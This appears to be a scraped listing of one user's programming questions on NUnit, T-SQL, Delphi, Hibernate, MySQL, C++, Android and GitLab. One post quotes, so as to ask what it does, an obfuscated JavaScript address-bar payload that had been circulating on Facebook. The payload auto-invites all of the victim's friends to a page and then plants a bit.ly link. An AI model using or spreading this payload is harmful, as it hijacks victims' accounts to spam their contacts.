小编Set*_*thO的帖子

使用NUnit在派生类中设置?

如果我有以下代码:

[TestFixture]
public class MyBaseTest
{
    protected ISessionManager _sessionManager;

    [SetUp]
    public void SetUp() { /* some code that initializes _sessionManager */ }
}

[TestFixture]
public class MyDerivedTest : MyBaseTest
{
    IBlogRepository _repository;

    [SetUp]
    public void SetUp() { /* some code that initializes _repository */ }

    [Test]
    public void BlogRepository_TestGoesHere() { /* some tests */ }
}
Run Code Online (Sandbox Code Playgroud)

... NUnit不会调用基本的SetUp例程.这是预期的,我本身没有问题.我可以先得到派生的SetUp来调用基类SetUp,如下所示:

[TestFixture]
public class MyDerivedTest : MyBaseTest
{
    IBlogRepository _repository;

    [SetUp]
    public new void SetUp()
    {
        base.SetUp();
        /* some code that initializes _repository …
Run Code Online (Sandbox Code Playgroud)

nunit

7
推荐指数
1
解决办法
3345
查看次数

地址栏中的Javascript - 这是恶意的吗?

我在Facebook上收到一条消息,告诉我将其复制并粘贴到我的地址栏中.我以为我会把它发布在这里,看看大家怎么想.它有什么作用?它是如何工作的?

这是源代码:

// (DO NOT DO THIS!)
Javascript:var a=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x32\x36\x38\x32\x36\x39\x35\x34\x31\x38\x35\x32\x33\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void (document[a[2]](a[1])[a[0]]=a[3]);var ss=document[a[2]](a[4]);
var c=document[a[6]](a[5]);
c[a[8]](a[7],true,true);
void (ss[a[9]](c));
void (setTimeout(function (){fs[a[10]]();} ,4000));
void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000));
void (setTimeout(function (){
document[a[2]](a[1])[a[0]]="\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x54\x6C\x30\x76\x6A\x27\x3E\x43\x6F\x6D\x70\x6C\x65\x74\x65\x64\x21\x20\x43\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E";
} ,5400));
Run Code Online (Sandbox Code Playgroud)

javascript security

7
推荐指数
1
解决办法
3465
查看次数

使用逗号分隔符将nVarChar转换/转换为十进制

我支持将平面文件输入转换为SqlServer数据库表的ETL过程.代码几乎是100%T-SQL并在数据库中运行.我没有代码,也无法更改工作流程.我只能帮助配置获取文件数据并将其转换为表数据的"转换"SQL(稍后将详细介绍).

现在免责声明已经不在了......

我们的一个文件提供商最近更改了它们代表货币金额的'12345.67'方式'12,345.67'.我们转换值的SQL看起来像SELECT FLOOR( CAST([inputValue] AS DECIMAL(24,10)))不再有效.即,逗号打破演员.

鉴于我必须将最终值存储为Decimal (24,10)数据类型(是的,我意识到FLOOR消除了所有小数点后的精度 - 设计师与客户不同步),我该怎么做才能有效地转换这个字符串?

谢谢你的想法.

t-sql casting

7
推荐指数
1
解决办法
1万
查看次数

单独的数据结构与VirtualStringTree的PVirtualNodes存储数据?

所以我一直在搞乱创建自己独立的数据结构.我终于让它工作了,但后来我发现与旧方法相比,内存使用率高得离谱.

为了测试这个,我创建了相同的测试应用程序,但我会将数据存储在我的PVirtualNodes中.

当添加1000个根,每个1000个子节点时,单独的数据结构使用大约208 MB,而PVirtualNode只使用大约160 MB,并且它也快一点.

我认为使用单独的数据结构应该使用更少的内存,并且更快,但我想这是代价?

以下是"在PVirtualNode中存储数据"的来源:http://pastebin.com/j6L2eHJt

以下是"在单独数据结构中存储数据"的来源:http://pastebin.com/iSwR0hW1

delphi memory-management virtualtreeview data-structures

7
推荐指数
1
解决办法
1044
查看次数

是否可以将show_sql的所有输出放在一个单独的文件中?

当在本地开发或运行使用hibernate的spring mvc app时,如果我能将所有sql的输出都放到一个单独的文件中会很好.

这可能吗?

我知道有一个hibernate属性show_sql,但我相信只会与所有其他log4j日志信息混在一起,对吗?

java orm logging hibernate log4j

6
推荐指数
1
解决办法
470
查看次数

逗号分隔值分离

我有一个表中包含以下类型的记录.我有Salesman和相关的帐号(逗号分隔).

+----------+----------+
| Salesman | Acct     |
+----------+----------+
| Ron      | 1,2,3,4  |
| Kin      | 6,7,8    |
| Joe      | 10,23,45 |

I am looking for output some thing like,

+----------+----------+
| Salesman | Acct     |
+----------+----------+
| Ron      | 1        |
| Ron      | 2        |
| Ron      | 3        |
Run Code Online (Sandbox Code Playgroud)

请帮我写一下可以给我上述结果的查询.

谢谢您的帮助.

mysql

6
推荐指数
1
解决办法
481
查看次数

在 C++ 中将类分离到单独的文件中

编辑:添加了“加法”类,不小心忘记了。如何将类分成不同的文件?我了解类的工作原理以及如何制作对象和类似的东西。但是,我在将类放入不同文件的过程中发现了一些混乱。非常感谢您的帮助!另外,我使用 CodeBlocks 作为 IDE。到目前为止,这是我的理解:

  1. 创建新的类,CB 会给你一个“.h”和一个新的“.cpp”。
  2. 源文件开头的“Classname::Classname”是作用域解析运算符。
  3. 您可以在主源文件中使用“#include classname.h”来导入其内容。
  4. 您可以使用已声明的对象从“main”调用函数。

到目前为止,这是我的理解,但我只是对如何实现它感到困惑。我创建了一个简单的计算器,其中包含一个源文件中的所有类。它工作得很好,我想我为此感到非常自豪:) 我知道有很多更简单的方法来制作这样的东西,但我使用类和对象来代替练习的唯一目的。这是我的计算器代码。另外,我真的为这篇长篇文章道歉:/谢谢,如果你读了这么远,特别感谢你能帮我一点!

这是我在一个源文件中的代码:

#include <iostream>
using namespace std;

class Addition {
public:
float add (float x, float y) {
float sum;
sum=x+y;
return sum;
}


};


class Subtraction {
public:
float subtract (float x, float y) {
float dif;
dif=x-y;
return dif;
}

};

class Multiplication {
public:
float multiply (float x, float y) {
float prod;
prod=x*y;
return prod;
}

};

class Division {
public:
float divide (float x, …
Run Code Online (Sandbox Code Playgroud)

c++ class

6
推荐指数
1
解决办法
8268
查看次数

单独的片段搜索视图

我有一个简单的活动,它包含一个tabbar来切换两个片段.这两个片段都是listFragment并实现了searchview,以便在listfragment中进行搜索.搜索视图始终显示在标签栏上方的操作栏中.

我遇到的问题是,切换标签后,搜索视图的输入不会重置(转到其他片段).因此,第二个片段从searchview读取输入并相应地过滤listfragment,它实际上读取了我在片段1中时输入的输入.

我想要的是searchview是两个片段的单独搜索视图.有没有办法实现这个目标?

这是我的代码:

活动

public class ActivityMainApp extends Activity implements ActionBar.TabListener {

private FragmentManager fragmentManager = getFragmentManager();

@Override
public void onCreate(Bundle icicle) {

    super.onCreate(icicle);
setContentView(R.layout.mainapp);

    ActionBar actionBar = getActionBar();
    actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS);

    // Add tabs
    ActionBar.Tab relatieTab = actionBar.newTab().setText("Relaties");
    ActionBar.Tab takenTab = actionBar.newTab().setText("Taken");
    //ActionBar.Tab urenTab = actionBar.newTab().setText("Uren");

    // Listeners 
    relatieTab.setTabListener(this);
    takenTab.setTabListener(this);

    // Tabs toevoegen aan actionbar
actionBar.addTab(relatieTab);
actionBar.addTab(takenTab);

    // Create fragmentmanager to switch fragments
    FragmentTransaction fragmentTransaction = this.fragmentManager.beginTransaction();
    Fragment fragment = fragmentManager.findFragmentById(R.id.fragment_content);

    if(fragment == null){
        FragmentTransaction ft = fragmentManager.beginTransaction();
        ft.add(R.id.fragment_content, new …
Run Code Online (Sandbox Code Playgroud)

android fragment searchview

6
推荐指数
1
解决办法
1万
查看次数

MySQL逗号分隔值

我目前有一个sql和php问题,我使用这个语句来获取服务及其相关表的所有内容:

$db = $this->getDbo();
$query = $db->getQuery(true);

// Select the required fields from the table.
$query->select(
        $this->getState(
                'list.select', 'a.*'
        )
);

$query->from('`#__services_service` AS a');
$query->where("a.zone");

$query->select('zone.name AS zone, zone.description AS zone_description, zone.price AS zone_price, zone.interval_recommended AS interval_recommended');
$query->join('LEFT', '#__services_zones AS zone ON zone.id = a.zone');

$query->select('category.icon AS category');
$query->join('LEFT', '#__services_categories AS category ON category.id = a.category');
Run Code Online (Sandbox Code Playgroud)

但是在我加入的区域表中,有逗号分隔值'1,2',并且在创建关联数组后,我将服务分组到它们的区域,单个服务仅转到单个区域,而不是表格中的值是'1,2'它应该在两个区域...我有一种感觉它是因为'zone.name AS zone',因为它只返回一个名称,如果我说它'zone AS zone'返回逗号分隔数字...

这是我对数组进行排序的方式:

foreach( $this->items as $item ){
if( !isset( $zones[ $item->zone ] ) )
$zone_items[ $item->zone] …
Run Code Online (Sandbox Code Playgroud)

php mysql arrays sorting joomla

6
推荐指数
1
解决办法
1192
查看次数

如何在 readme.md 中显示每个分支的 gitlab 徽章

我试图在该分支的 readme.md 上显示我的分支的构建状态。 https://mygitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg 我试过这个,但分支占位符没有得到评估。

badge gitlab

5
推荐指数
1
解决办法
3963
查看次数